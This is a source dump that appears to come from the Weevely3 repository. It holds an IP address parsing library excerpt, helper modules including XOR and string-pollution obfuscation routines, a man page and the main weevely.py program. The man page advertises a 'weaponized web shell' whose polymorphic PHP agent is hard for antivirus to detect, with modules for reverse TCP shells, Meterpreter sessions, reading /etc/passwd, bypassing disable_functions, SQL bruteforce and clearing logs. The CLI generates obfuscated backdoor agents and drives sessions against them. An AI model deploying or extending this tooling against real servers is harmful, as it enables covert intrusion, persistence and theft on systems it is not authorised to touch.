self._max_prefixlen @property def packed(self): """The binary representation of this address.""" return struct.pack('!I', self._ip) @property def version(self): return self._version @property def is_reserved(self): """Test if the address is otherwise IETF reserved. Returns: A boolean, True if the address is within the reserved IPv4 Network range. """ return self in IPv4Network('240.0.0.0/4') @property def is_private(self): """Test if this address is allocated for private networks. Returns: A boolean, True if the address is reserved per RFC 1918. """ return (self in IPv4Network('10.0.0.0/8') or self in IPv4Network('172.16.0.0/12') or self in IPv4Network('192.168.0.0/16')) @property def is_multicast(self): """Test if the address is reserved for multicast use. Returns: A boolean, True if the address is multicast. See RFC 3171 for details. """ return self in IPv4Network('224.0.0.0/4') @property def is_loopback(self): """Test if the address is a loopback adddress. Returns: A boolean, True if the address is a loopback per RFC 3330. """ return self in IPv4Network('127.0.0.0/8') @property def is_link_local(self): """Test if the address is reserved for link-local. Returns: A boolean, True if the address is link-local per RFC 3927. """ return self in IPv4Network('169.254.0.0/16') class IPv4Address(BaseV4, BaseIP): """Represent and manipulate single IPv4 Addresses.""" def __init__(self, address): """ Args: address: A string or integer representing the IP '192.168.1.1' Additionally, an integer can be passed, so IPv4Address('192.168.1.1') == IPv4Address(3232235777). or, more generally IPv4Address(int(IPv4Address('192.168.1.1'))) == IPv4Address('192.168.1.1') Raises: IPv4IpValidationError: If ipaddr isn't a valid IPv4 address. IPv4NetmaskValidationError: If the netmask isn't valid for an IPv4 address. """ BaseIP.__init__(self, address) BaseV4.__init__(self, address) # Efficient constructor from integer. if isinstance(address, int): self._ip = address if address < 0 or address > self._ALL_ONES: raise IPv4IpValidationError(address) return # Constructing from a packed address if _compat_has_real_bytes: if isinstance(address, bytes) and len(address) == 4: self._ip = struct.unpack('!I', address)[0] return # Assume input argument to be string or any object representation # which converts into a formatted IP string. addr_str = str(address) if not self._is_valid_ip(addr_str): raise IPv4IpValidationError(addr_str) self._ip = self._ip_int_from_string(addr_str) class IPv4Network(BaseV4, BaseNet): """This class represents and manipulates 32-bit IPv4 networks. Attributes: [examples for IPv4Network('1.2.3.4/27')] ._ip: 16909060 .ip: IPv4Address('1.2.3.4') .network: IPv4Address('1.2.3.0') .hostmask: IPv4Address('0.0.0.31') .broadcast: IPv4Address('1.2.3.31') .netmask: IPv4Address('255.255.255.224') .prefixlen: 27 """ def __init__(self, address): """Instantiate a new IPv4 network object. Args: address: A string or integer representing the IP [& network]. '192.168.1.1/32' '192.168.1.1/255.255.255.255' '192.168.1.1/0.0.0.255' '192.168.1.1' are all functionally the same in IPv4. That is to say, failing to provide a subnetmask will create an object with a mask of /32. A netmask of '255.255.255.255' is assumed to be /32 and '0.0.0.0' is assumed to be /0, even though other netmasks can be expressed both as host- and net-masks. (255.0.0.0 == 0.255.255.255) Additionally, an integer can be passed, so IPv4Network('192.168.1.1') == IPv4Network(3232235777). or, more generally IPv4Network(int(IPv4Network('192.168.1.1'))) == IPv4Network('192.168.1.1') Raises: IPv4IpValidationError: If ipaddr isn't a valid IPv4 address. IPv4NetmaskValidationError: If the netmask isn't valid for an IPv4 address. """ BaseNet.__init__(self, address) BaseV4.__init__(self, address) # Efficient constructor from integer. if isinstance(address, int): self._ip = address self.ip = IPv4Address(self._ip) self._prefixlen = 32 self.netmask = IPv4Address(self._ALL_ONES) if address < 0 or address > self._ALL_ONES: raise IPv4IpValidationError(address) return # Constructing from a packed address if _compat_has_real_bytes: if isinstance(address, bytes) and len(address) == 4: self._ip = struct.unpack('!I', address)[0] self.ip = IPv4Address(self._ip) self._prefixlen = 32 self.netmask = IPv4Address(self._ALL_ONES) return # Assume input argument to be string or any object representation # which converts into a formatted IP prefix string. addr = str(address).split('/') if len(addr) > 2: raise IPv4IpValidationError(address) if not self._is_valid_ip(addr[0]): raise IPv4IpValidationError(addr[0]) self._ip = self._ip_int_from_string(addr[0]) self.ip = IPv4Address(self._ip) if len(addr) == 2: mask = addr[1].split('.') if len(mask) == 4: # We have dotted decimal netmask. if not self._is_valid_netmask(addr[1]): raise IPv4NetmaskValidationError(addr[1]) if self._is_hostmask(addr[1]): self.netmask = IPv4Address( self._ip_int_from_string(addr[1]) ^ self._ALL_ONES) else: self.netmask = IPv4Address(self._ip_int_from_string( addr[1])) self._prefixlen = self._prefix_from_ip_int(int(self.netmask)) else: # We have a netmask in prefix length form. if not self._is_valid_netmask(addr[1]): raise IPv4NetmaskValidationError(addr[1]) self._prefixlen = int(addr[1]) self.netmask = IPv4Address(self._ip_int_from_prefix( self._prefixlen)) else: self._prefixlen = 32 self.netmask = IPv4Address(self._ip_int_from_prefix( self._prefixlen)) def _is_hostmask(self, ip_str): """Test if the IP string is a hostmask (rather than a netmask). Args: ip_str: A string, the potential hostmask. Returns: A boolean, True if the IP string is a hostmask. """ parts = [int(x) for x in ip_str.split('.')] if parts[0] < parts[-1]: return True return False def _is_valid_netmask(self, netmask): """Verify that the netmask is valid. Args: netmask: A string, either a prefix or dotted decimal netmask. Returns: A boolean, True if the prefix represents a valid IPv4 netmask. """ if len(netmask.split('.')) == 4: return self._is_valid_ip(netmask) try: netmask = int(netmask) except ValueError: return False return 0 <= netmask <= 32 # backwards compatibility IsRFC1918 = lambda self: self.is_private IsMulticast = lambda self: self.is_multicast IsLoopback = lambda self: self.is_loopback IsLinkLocal = lambda self: self.is_link_local class BaseV6(object): """Base IPv6 object. The following methods are used by IPv6 objects in both single IP addresses and networks. """ _ALL_ONES = (2**128) - 1 def __init__(self, address): self._version = 6 self._max_prefixlen = 128 def _ip_int_from_string(self, ip_str=None): """Turn an IPv6 ip_str into an integer. Args: ip_str: A string, the IPv6 ip_str. Returns: A long, the IPv6 ip_str. """ if not ip_str: ip_str = str(self.ip) ip_int = 0 fields = self._explode_shorthand_ip_string(ip_str).split(':') # Do we have an IPv4 mapped (::ffff:a.b.c.d) or compact (::a.b.c.d) # ip_str? if fields[-1].count('.') == 3: ipv4_string = fields.pop() ipv4_int = IPv4Network(ipv4_string)._ip octets = [] for _ in range(2): octets.append(hex(ipv4_int & 0xFFFF).lstrip('0x').rstrip('L')) ipv4_int >>= 16 fields.extend(reversed(octets)) for field in fields: ip_int = (ip_int << 16) + int(field, 16) return ip_int def _compress_hextets(self, hextets): """Compresses a list of hextets. Compresses a list of strings, replacing the longest continuous sequence of "0" in the list with "" and adding empty strings at the beginning or at the end of the string such that subsequently calling ":".join(hextets) will produce the compressed version of the IPv6 address. Args: hextets: A list of strings, the hextets to compress. Returns: A list of strings. """ best_doublecolon_start = -1 best_doublecolon_len = 0 doublecolon_start = -1 doublecolon_len = 0 for index in range(len(hextets)): if hextets[index] == '0': doublecolon_len += 1 if doublecolon_start == -1: # Start of a sequence of zeros. doublecolon_start = index if doublecolon_len > best_doublecolon_len: # This is the longest sequence of zeros so far. best_doublecolon_len = doublecolon_len best_doublecolon_start = doublecolon_start else: doublecolon_len = 0 doublecolon_start = -1 if best_doublecolon_len > 1: best_doublecolon_end = (best_doublecolon_start + best_doublecolon_len) # For zeros at the end of the address. if best_doublecolon_end == len(hextets): hextets += [''] hextets[best_doublecolon_start:best_doublecolon_end] = [''] # For zeros at the beginning of the address. if best_doublecolon_start == 0: hextets = [''] + hextets return hextets def _string_from_ip_int(self, ip_int=None): """Turns a 128-bit integer into hexadecimal notation. Args: ip_int: An integer, the IP address. Returns: A string, the hexadecimal representation of the address. Raises: ValueError: The address is bigger than 128 bits of all ones. """ if not ip_int and ip_int != 0: ip_int = int(self._ip) if ip_int > self._ALL_ONES: raise ValueError('IPv6 address is too large') hex_str = '%032x' % ip_int hextets = [] for x in range(0, 32, 4): hextets.append('%x' % int(hex_str[x:x+4], 16)) hextets = self._compress_hextets(hextets) return ':'.join(hextets) def _explode_shorthand_ip_string(self, ip_str=None): """Expand a shortened IPv6 address. Args: ip_str: A string, the IPv6 address. Returns: A string, the expanded IPv6 address. """ if not ip_str: ip_str = str(self) if self._is_shorthand_ip(ip_str): new_ip = [] hextet = ip_str.split('::') sep = len(hextet[0].split(':')) + len(hextet[1].split(':')) new_ip = hextet[0].split(':') for _ in range(8 - sep): new_ip.append('0000') new_ip += hextet[1].split(':') # Now need to make sure every hextet is 4 lower case characters. # If a hextet is < 4 characters, we've got missing leading 0's. ret_ip = [] for hextet in new_ip: ret_ip.append(('0' * (4 - len(hextet)) + hextet).lower()) return ':'.join(ret_ip) # We've already got a longhand ip_str. return ip_str def _is_valid_ip(self, ip_str): """Ensure we have a valid IPv6 address. Probably not as exhaustive as it should be. Args: ip_str: A string, the IPv6 address. Returns: A boolean, True if this is a valid IPv6 address. """ # We need to have at least one ':'. if ':' not in ip_str: return False # We can only have one '::' shortener. if ip_str.count('::') > 1: return False # '::' should be encompassed by start, digits or end. if ':::' in ip_str: return False # A single colon can neither start nor end an address. if ((ip_str.startswith(':') and not ip_str.startswith('::')) or (ip_str.endswith(':') and not ip_str.endswith('::'))): return False # If we have no concatenation, we need to have 8 fields with 7 ':'. if '::' not in ip_str and ip_str.count(':') != 7: # We might have an IPv4 mapped address. if ip_str.count('.') != 3: return False ip_str = self._explode_shorthand_ip_string(ip_str) # Now that we have that all squared away, let's check that each of the # hextets are between 0x0 and 0xFFFF. for hextet in ip_str.split(':'): if hextet.count('.') == 3: # If we have an IPv4 mapped address, the IPv4 portion has to be # at the end of the IPv6 portion. if not ip_str.split(':')[-1] == hextet: return False try: IPv4Network(hextet) except IPv4IpValidationError: return False elif int(hextet, 16) < 0x0 or int(hextet, 16) > 0xFFFF: return False return True def _is_shorthand_ip(self, ip_str=None): """Determine if the address is shortened. Args: ip_str: A string, the IPv6 address. Returns: A boolean, True if the address is shortened. """ if ip_str.count('::') == 1: return True return False @property def max_prefixlen(self): return self._max_prefixlen @property def packed(self): """The binary representation of this address.""" return struct.pack('!QQ', self._ip >> 64, self._ip & (2**64 - 1)) @property def version(self): return self._version @property def is_multicast(self): """Test if the address is reserved for multicast use. Returns: A boolean, True if the address is a multicast address. See RFC 2373 2.7 for details. """ return self in IPv6Network('ff00::/8') @property def is_reserved(self): """Test if the address is otherwise IETF reserved. Returns: A boolean, True if the address is within one of the reserved IPv6 Network ranges. """ return (self in IPv6Network('::/8') or self in IPv6Network('100::/8') or self in IPv6Network('200::/7') or self in IPv6Network('400::/6') or self in IPv6Network('800::/5') or self in IPv6Network('1000::/4') or self in IPv6Network('4000::/3') or self in IPv6Network('6000::/3') or self in IPv6Network('8000::/3') or self in IPv6Network('A000::/3') or self in IPv6Network('C000::/3') or self in IPv6Network('E000::/4') or self in IPv6Network('F000::/5') or self in IPv6Network('F800::/6') or self in IPv6Network('FE00::/9')) @property def is_unspecified(self): """Test if the address is unspecified. Returns: A boolean, True if this is the unspecified address as defined in RFC 2373 2.5.2. """ return self == IPv6Network('::') @property def is_loopback(self): """Test if the address is a loopback adddress. Returns: A boolean, True if the address is a loopback address as defined in RFC 2373 2.5.3. """ return self == IPv6Network('::1') @property def is_link_local(self): """Test if the address is reserved for link-local. Returns: A boolean, True if the address is reserved per RFC 4291. """ return self in IPv6Network('fe80::/10') @property def is_site_local(self): """Test if the address is reserved for site-local. Note that the site-local address space has been deprecated by RFC 3879. Use is_private to test if this address is in the space of unique local addresses as defined by RFC 4193. Returns: A boolean, True if the address is reserved per RFC 3513 2.5.6. """ return self in IPv6Network('fec0::/10') @property def is_private(self): """Test if this address is allocated for private networks. Returns: A boolean, True if the address is reserved per RFC 4193. """ return self in IPv6Network('fc00::/7') @property def ipv4_mapped(self): """Return the IPv4 mapped address. Returns: If the IPv6 address is a v4 mapped address, return the IPv4 mapped address. Return None otherwise. """ hextets = self._explode_shorthand_ip_string().split(':') if hextets[-3] != 'ffff': return None try: return IPv4Address(int('%s%s' % (hextets[-2], hextets[-1]), 16)) except IPv4IpvalidationError: return None class IPv6Address(BaseV6, BaseIP): """Represent and manipulate single IPv6 Addresses. """ def __init__(self, address): """Instantiate a new IPv6 address object. Args: address: A string or integer representing the IP Additionally, an integer can be passed, so IPv6Address('2001:4860::') == IPv6Address(42541956101370907050197289607612071936L). or, more generally IPv6Address(IPv6Address('2001:4860::')._ip) == IPv6Address('2001:4860::') Raises: IPv6IpValidationError: If address isn't a valid IPv6 address. IPv6NetmaskValidationError: If the netmask isn't valid for an IPv6 address. """ BaseIP.__init__(self, address) BaseV6.__init__(self, address) # Efficient constructor from integer. if isinstance(address, int): self._ip = address if address < 0 or address > self._ALL_ONES: raise IPv6IpValidationError(address) return # Constructing from a packed address if _compat_has_real_bytes: if isinstance(address, bytes) and len(address) == 16: tmp = struct.unpack('!QQ', address) self._ip = (tmp[0] << 64) | tmp[1] return # Assume input argument to be string or any object representation # which converts into a formatted IP string. addr_str = str(address) if not addr_str: raise IPv6IpValidationError('') self._ip = self._ip_int_from_string(addr_str) class IPv6Network(BaseV6, BaseNet): """This class represents and manipulates 128-bit IPv6 networks. Attributes: [examples for IPv6('2001:658:22A:CAFE:200::1/64')] .ip: IPv6Address('2001:658:22a:cafe:200::1') .network: IPv6Address('2001:658:22a:cafe::') .hostmask: IPv6Address('::ffff:ffff:ffff:ffff') .broadcast: IPv6Address('2001:658:22a:cafe:ffff:ffff:ffff:ffff') .netmask: IPv6Address('ffff:ffff:ffff:ffff::') .prefixlen: 64 """ def __init__(self, address): """Instantiate a new IPv6 Network object. Args: address: A string or integer representing the IPv6 network or the IP and prefix/netmask. '2001:4860::/128' '2001:4860:0000:0000:0000:0000:0000:0000/128' '2001:4860::' are all functionally the same in IPv6. That is to say, failing to provide a subnetmask will create an object with a mask of /128. Additionally, an integer can be passed, so IPv6Network('2001:4860::') == IPv6Network(42541956101370907050197289607612071936L). or, more generally IPv6Network(IPv6Network('2001:4860::')._ip) == IPv6Network('2001:4860::') Raises: IPv6IpValidationError: If address isn't a valid IPv6 address. IPv6NetmaskValidationError: If the netmask isn't valid for an IPv6 address. """ BaseNet.__init__(self, address) BaseV6.__init__(self, address) # Efficient constructor from integer. if isinstance(address, int): self._ip = address self.ip = IPv6Address(self._ip) self._prefixlen = 128 self.netmask = IPv6Address(self._ALL_ONES) if address < 0 or address > self._ALL_ONES: raise IPv6IpValidationError(address) return # Constructing from a packed address if _compat_has_real_bytes: if isinstance(address, bytes) and len(address) == 16: tmp = struct.unpack('!QQ', address) self._ip = (tmp[0] << 64) | tmp[1] self.ip = IPv6Address(self._ip) self._prefixlen = 128 self.netmask = IPv6Address(self._ALL_ONES) return # Assume input argument to be string or any object representation # which converts into a formatted IP prefix string. addr = str(address).split('/') if len(addr) > 2: raise IPv6IpValidationError(ipaddr) if not self._is_valid_ip(addr[0]): raise IPv6IpValidationError(addr[0]) if len(addr) == 2: if self._is_valid_netmask(addr[1]): self._prefixlen = int(addr[1]) else: raise IPv6NetmaskValidationError(addr[1]) else: self._prefixlen = 128 self.netmask = IPv6Address(self._ip_int_from_prefix(self._prefixlen)) if not self._is_valid_ip(addr[0]): raise IPv6IpValidationError(addr[0]) self._ip = self._ip_int_from_string(addr[0]) self.ip = IPv6Address(self._ip) def _is_valid_netmask(self, prefixlen): """Verify that the netmask/prefixlen is valid. Args: prefixlen: A string, the netmask in prefix length format. Returns: A boolean, True if the prefix represents a valid IPv6 netmask. """ try: prefixlen = int(prefixlen) except ValueError: return False return 0 <= prefixlen <= 128 epinna-weevely3-445bd88/utils/iputil.py000066400000000000000000000013141444353330400201130ustar00rootroot00000000000000import itertools # Explode IP format 10.10.10.10-233 def ip_range(input_string): octets = input_string.split('.') chunks = [list(map(int, octet.split('-'))) for octet in octets] ranges = [list(range(c[0], c[1] + 1)) if len(c) == 2 else c for c in chunks] for address in itertools.product(*ranges): yield '.'.join(map(str, address)) # Explode port format 22,23-33 def port_range(input_string): return sum( ( ( list(range(*[int(j) + k for k, j in enumerate(i.split('-'))])) if '-' in i else [int(i)] ) for i in input_string.split(',') ), [] ) epinna-weevely3-445bd88/utils/prettify.py000066400000000000000000000055511444353330400204620ustar00rootroot00000000000000import prettytable import types def tablify(data, table_border = True, header=False): # TODO: Check that is prettytable-0.7.2 that supports the # dynamic table columns number setting. Version 0.5 does not. output = '' # Empty outputs. False is probably a good output value if data is not False and not data: output = '' else: table = prettytable.PrettyTable() if header and type(data) is list: table.field_names = data.pop(0) table.header = True else: table.header = False # List outputs. if isinstance(data, (list, tuple)): if len(data) > 0: columns_num = 1 if isinstance(data[0], (list, tuple)): columns_num = len(data[0]) for row in data: if not row: continue if isinstance(row, (list, tuple)): table.add_row(row) else: table.add_row([row]) # Dict outputs are display as tables elif isinstance(data, dict) and data: # Populate the rows randomitem = next(iter(list(data.values()))) if isinstance(randomitem, (list, tuple)): for field in data: table.add_row([field] + data[field]) else: for field in data: table.add_row([field, str(data[field])]) # Else, try to stringify else: # Normalize byte-like objects try: data = data.decode('utf-8') except (UnicodeDecodeError, AttributeError): pass output = str(data) if not output: table.align = 'l' table.border = table_border output = table.get_string() return output def shorten(body, keep_header = 0, keep_trailer = 0): """ Smartly shorten a given string. """ # Normalize byte-like objects try: body = body.decode('utf-8') except (UnicodeDecodeError, AttributeError): pass # Cut header if (keep_header and not keep_trailer and len(body) > keep_header): return '..%s' % body[:keep_header] # Cut footer if (keep_trailer and not keep_header and len(body) > keep_trailer): return '..%s' % body[-keep_header:] if (keep_header and keep_trailer and len(body) > keep_header + keep_trailer): return '%s .. %s' % (body[:keep_header], body[-keep_trailer:]) return body def format_size(size, suffix='o'): for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(size) < 1000.0: return "%.3G%s%s" % (size, unit, suffix) size /= 1000.0 return "%.3G%s%s" % (size, 'Y', suffix) epinna-weevely3-445bd88/utils/strings.py000066400000000000000000000022561444353330400203040ustar00rootroot00000000000000import random import string import itertools str2hex = lambda x: "\\x" + "\\x".join([hex(ord(c))[2:].zfill(2) for c in x]) def randstr(n=4, fixed=True, charset=None): if not n: return b'' if not fixed: n = random.randint(1, n) if not charset: charset = string.ascii_letters + string.digits return ''.join(random.choice(charset) for x in range(n)).encode('utf-8') def divide(data, min_size, max_size, split_size): it = iter(data) size = len(data) for i in range(split_size - 1, 0, -1): s = random.randint(min_size, size - max_size * i) yield bytearray(itertools.islice(it, 0, s)) size -= s yield bytearray(it) def sxor(s1, s2): return bytearray( a ^ b for a, b in zip(s1, itertools.cycle(s2)) ) def pollute(data, charset, frequency=0.3): str_encoded = '' for char in data: if random.random() < frequency: str_encoded += randstr(1, True, charset) + char else: str_encoded += char return str_encoded def chunks(l, n): """ Yield successive n-sized chunks from l. """ for i in range(0, len(l), n): yield l[i:i+n] epinna-weevely3-445bd88/weevely.1000066400000000000000000000103031444353330400166330ustar00rootroot00000000000000.TH WEEVELY "1" "October 2018" "weevely 3.7.0" "User Commands" .SH NAME Weevely \- Weaponized web shell .SH DESCRIPTION .PP A web shell designed for post\-exploitation purposes that can be extended over the network at runtime. .PP Upload weevely PHP agent to a target web server to get remote shell access to it. Once connected you can make use of the more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network. .SH SYNOPSIS .nf \f[C] Run terminal to the target \fBweevely\ \ \ [cmd]\fR Generate backdoor agent \fBweevely\ generate\ \ \fR Load session file \fBweevely\ session\ \fR \f[] .SS Features .IP \[bu] 2 Shell access to the target .IP \[bu] 2 SQL console pivoting on the target .IP \[bu] 2 HTTP/HTTPS proxy to browse through the target .IP \[bu] 2 Upload and download files .IP \[bu] 2 Spawn reverse and direct TCP shells .IP \[bu] 2 Audit remote target security .IP \[bu] 2 Run Meterpreter payloads .IP \[bu] 2 Port scan pivoting on target .IP \[bu] 2 Mount the remote filesystem .IP \[bu] 2 Bruteforce SQL accounts pivoting on the target .SS Agent .PP The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests. .SS Modules .PP .TS tab(@); lw(27.4n) lw(42.6n). T{ Module T}@T{ Description T} _ T{ :audit_filesystem T}@T{ Audit the file system for weak permissions. T} T{ :audit_suidsgid T}@T{ Find files with SUID or SGID flags. T} T{ :audit_disablefunctionbypass T}@T{ Bypass disable_function restrictions with mod_cgi and .htaccess. T} T{ :audit_etcpasswd T}@T{ Read /etc/passwd with different techniques. T} T{ :audit_phpconf T}@T{ Audit PHP configuration. T} T{ :shell_sh T}@T{ Execute shell commands. T} T{ :shell_su T}@T{ Execute commands with su. T} T{ :shell_php T}@T{ Execute PHP commands. T} T{ :system_extensions T}@T{ Collect PHP and webserver extension list. T} T{ :system_info T}@T{ Collect system information. T} T{ :system_procs T}@T{ List running processes. T} T{ :backdoor_reversetcp T}@T{ Execute a reverse TCP shell. T} T{ :backdoor_tcp T}@T{ Spawn a shell on a TCP port. T} T{ :backdoor_meterpreter T}@T{ Start a meterpreter session. T} T{ :bruteforce_sql T}@T{ Bruteforce SQL database. T} T{ :file_gzip T}@T{ Compress or expand gzip files. T} T{ :file_clearlog T}@T{ Remove string from a file. T} T{ :file_check T}@T{ Get attributes and permissions of a file. T} T{ :file_upload T}@T{ Upload file to remote filesystem. T} T{ :file_webdownload T}@T{ Download an URL. T} T{ :file_tar T}@T{ Compress or expand tar archives. T} T{ :file_download T}@T{ Download file from remote filesystem. T} T{ :file_bzip2 T}@T{ Compress or expand bzip2 files. T} T{ :file_edit T}@T{ Edit remote file on a local editor. T} T{ :file_grep T}@T{ Print lines matching a pattern in multiple files. T} T{ :file_ls T}@T{ List directory content. T} T{ :file_cp T}@T{ Copy single file. T} T{ :file_rm T}@T{ Remove remote file. T} T{ :file_upload2web T}@T{ Upload file automatically to a web folder and get corresponding URL. T} T{ :file_zip T}@T{ Compress or expand zip files. T} T{ :file_touch T}@T{ Change file timestamp. T} T{ :file_find T}@T{ Find files with given names and attributes. T} T{ :file_mount T}@T{ Mount remote filesystem using HTTPfs. T} T{ :file_enum T}@T{ Check existence and permissions of a list of paths. T} T{ :file_read T}@T{ Read remote file from the remote filesystem. T} T{ :file_cd T}@T{ Change current working directory. T} T{ :sql_console T}@T{ Execute SQL query or run console. T} T{ :sql_dump T}@T{ Multi dbms mysqldump replacement. T} T{ :net_mail T}@T{ Send mail. T} T{ :net_phpproxy T}@T{ Install PHP proxy on the target. T} T{ :net_curl T}@T{ Perform a curl\-like HTTP request. T} T{ :net_proxy T}@T{ Run local proxy to pivot HTTP/HTTPS browsing through the target. T} T{ :net_scan T}@T{ TCP Port scan. T} T{ :net_ifconfig T}@T{ Get network interfaces addresses. T} .TE .SH SEE ALSO https://github.com/epinna/weevely3/wiki .SH AUTHOR weevely is developed by The Weevely Developers, this manpage was made by Emilio and Samuel Henrique based on weevely's README.md and can be used by other projects as well. epinna-weevely3-445bd88/weevely.py000077500000000000000000000065251444353330400171410ustar00rootroot00000000000000#!/usr/bin/env python3 import glob import os import pprint import sys from core import generate from core import messages from core import modules from core.argparsers import CliParser from core.config import agent_templates_folder_path, obfuscators_templates_folder_path from core.loggers import log, dlog from core.sessions import SessionURL, SessionFile from core.terminal import Terminal from core.weexceptions import FatalException if sys.stdout.encoding is None: print("Please set PYTHONIOENCODING=UTF-8 running 'export PYTHONIOENCODING=UTF-8' before starting Weevely.") exit(1) def main(arguments): if arguments.command == 'generate': obfuscated = generate.generate( password = arguments.password, obfuscator = arguments.obfuscator, agent = arguments.agent ) generate.save_generated(obfuscated, arguments.path) if arguments.path != '-': log.info(messages.generate.generated_backdoor_with_password_s_in_s_size_i % (arguments.path, arguments.password, len(obfuscated) ) ) return elif arguments.command == 'terminal': session = SessionURL( url = arguments.url, password = arguments.password ) elif arguments.command == 'session': session = SessionFile(arguments.path) dlog.debug( pprint.pformat(session) ) modules.load_modules(session) if not arguments.cmd: Terminal(session).cmdloop() else: Terminal(session).onecmd(arguments.cmd) if __name__ == '__main__': parser = CliParser(prog='weevely') subparsers = parser.add_subparsers(dest = 'command') terminalparser = subparsers.add_parser('terminal', help='Run terminal or command on the target') terminalparser.add_argument('url', help = 'The agent URL') terminalparser.add_argument('password', help = 'The agent password') terminalparser.add_argument('cmd', help = 'Command', nargs='?') sessionparser = subparsers.add_parser('session', help='Recover an existing session') sessionparser.add_argument('path', help = 'Session file path') sessionparser.add_argument('cmd', help = 'Command', nargs='?') agents_available = [ os.path.split(agent)[1].split('.')[0] for agent in glob.glob('%s/*.tpl' % agent_templates_folder_path) ] obfuscators_available = [ os.path.split(agent)[1].split('.')[0] for agent in glob.glob('%s/*.tpl' % obfuscators_templates_folder_path) ] generateparser = subparsers.add_parser('generate', help='Generate new agent') generateparser.add_argument('password', help = 'Agent password') generateparser.add_argument('path', help = 'Agent file path') generateparser.add_argument( '-obfuscator', #The obfuscation method choices = obfuscators_available, default = 'phar' ) generateparser.add_argument( '-agent', #The agent channel type choices = agents_available, default = 'obfpost_php' ) parser.set_default_subparser('terminal') arguments = parser.parse_args() try: main(arguments) except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)